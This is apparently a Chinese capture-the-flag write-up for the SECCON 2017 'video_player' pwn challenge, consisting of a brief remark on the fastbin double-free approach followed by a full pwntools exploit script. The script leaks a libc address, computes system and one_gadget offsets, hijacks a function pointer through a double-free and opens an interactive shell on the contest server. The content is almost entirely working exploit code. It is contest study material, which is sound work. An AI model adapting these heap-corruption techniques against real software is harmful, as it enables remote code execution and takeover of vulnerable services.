Seccon2017-pwn500-video_player

感觉这个题目并不值500分，有些地方比较牵强，漏洞也比较明显，解题方法有多种，出题者把堆的布局随机化了，不过使用fastbin doublefree的话，可以完全忽视被打乱的堆。

 from pwn import *
 #context.log_level='debug'
 #wah
 def newaudioclip(r, bitrate, length, data, description):
     r.recvuntil('>>> ')
     r.sendline('')
     r.recvuntil('>>> ')
     r.sendline('')
     r.recvuntil('Audio Bitrate : ')
     r.send(bitrate)
     r.recvuntil('Audio Length (seconds) : ')
     r.send(length)
     r.recvuntil('Audio Data : ')
     r.send(data)
     r.recvuntil('Add description : ')
     r.send(description)

 def newvideoclip(r, rs, fps, num, data, description):
     r.recvuntil('>>> ')
     r.sendline('')
     r.recvuntil('>>> ')
     r.sendline('')
     r.recvuntil('Video Resolution : ')
     r.send(rs)
     r.recvuntil('FPS : ')
     r.send(fps)
     r.recvuntil('Number of Frames : ')
     r.send(num)
     r.recvuntil('Video Data : ')
     r.send(data)
     r.recvuntil('Add description : ')
     r.send(description)

 def newmetadataclip(r, date, owner):
     r.recvuntil('>>> ')
     r.sendline('')
     r.recvuntil('>>> ')
     r.sendline('')
     r.recvuntil('Date of Creation : ')
     r.send(date)
     r.recvuntil('Owner of video : ')
     r.send(owner)

 def editvideoclip(r, inx, rs, fps, num, data, description):
     r.recvuntil('>>> ')
     r.sendline('')
     r.recvuntil('Enter index : ')
     r.sendline(inx)
     r.recvuntil('Video Resolution : ')
     r.send(rs)
     r.recvuntil('FPS : ')
     r.send(fps)
     r.recvuntil('Number of Frames : ')
     r.send(num)
     r.recvuntil('Video Data : ')
     r.send(data)
     r.recvuntil('Edit description : ')
     r.send(description)

 def delclip(r, inx):
     r.recvuntil('>>> ')
     r.sendline('')
     r.recvuntil('Enter index : ')
     r.sendline(inx)

 close = 0
 def playvideoclip(r, inx):
     global close
     r.recvuntil('>>> ')
     r.sendline('')
     r.recvuntil('Enter index : ')
     r.sendline(inx)
     r.recvuntil('Playing video...\n')
     tmp8 = r.recv(8)
     final8 = ''
     for i in range(0, 8):
         final8 += chr(ord(tmp8[i])^0xcc)
     close = u64(final8)
     print('leaked close is %x'%close)

 chunk = 0
 def playvideoclip1(r, inx):
     global chunk
     r.recvuntil('>>> ')
     r.sendline('')
     r.recvuntil('Enter index : ')
     r.sendline(inx)
     r.recvuntil('Playing video...\n')
     tmp8 = r.recv(8)
     final8 = ''
     for i in range(0, 8):
         final8 += chr(ord(tmp8[i])^0xcc)
     chunk = u64(final8)
     print('leaked chunk is %x'%chunk)

 def playvideoclip2(r, inx):
     r.recvuntil('>>> ')
     r.sendline('')
     r.recvuntil('Enter index : ')
     r.sendline(inx)

 if 0:
     ip = '127.0.0.1'
     port  = 10001
 else:
     ip = 'video_player.pwn.seccon.jp'
     port  = 7777

 def getpid():
     import time
     exe = 'video_player'
     time.sleep(0.1)
     pid= pwnlib.util.proc.pidof(exe)
     print pid
     raw_input('go!')

 def pwnpwn():
     r = remote(ip, port)
     r.recvuntil('What is your movie name?')
     getpid()
     r.send('\x00'*0xff)
     #newaudioclip(r, bitrate, length, data, description):
     newaudioclip(r, p16(30), p32(0x50), '\x00', '\x00')
     #
     newvideoclip(r, p64(0), p32(0), p32(0x30), '\x00', '\x00')
     editvideoclip(r, '', p64(0), p32(0), p32(0x50), '\x00', '\x00')

     delclip(r, '')
     delclip(r, '')

     #
     newvideoclip(r, p64(0), p32(0), p32(0x50), '\x00', '\x00')

     data = p64(0x00402968) + p64(0x0) + p32(0x0) + p32(0x50) + p64(0x00604028)
     editvideoclip(r, '', p64(0), p32(0), p32(0x50), data, '\x00')
     playvideoclip(r, '') 

     #
     close_offset = 0xF78B0
     binsh_offset = 0x18CD17
     system_offset = 0x45390
     one_gadget_offset = 0xf1117
     binsh = close - close_offset + binsh_offset
     system = close - close_offset + system_offset
     one_gadget = close - close_offset + one_gadget_offset
     data1 = p64(0)*2+p64(one_gadget)
     newmetadataclip(r, data1, '\x00'*0x1f)

     data2 = p64(0x00402968) + p64(0x0) + p32(0x0) + p32(0x50) + p64(0x0000000000604400+3*8)
     editvideoclip(r, '', p64(0), p32(0), p32(0x50), data2, '\x00')
     playvideoclip1(r, '') 

     raw_input('here')
     data3 = p64(chunk)
     editvideoclip(r, '', p64(0), p32(0), p32(0x50), data3, 'b'*0x2f)
     playvideoclip2(r, '')
     r.interactive()

 pwnpwn()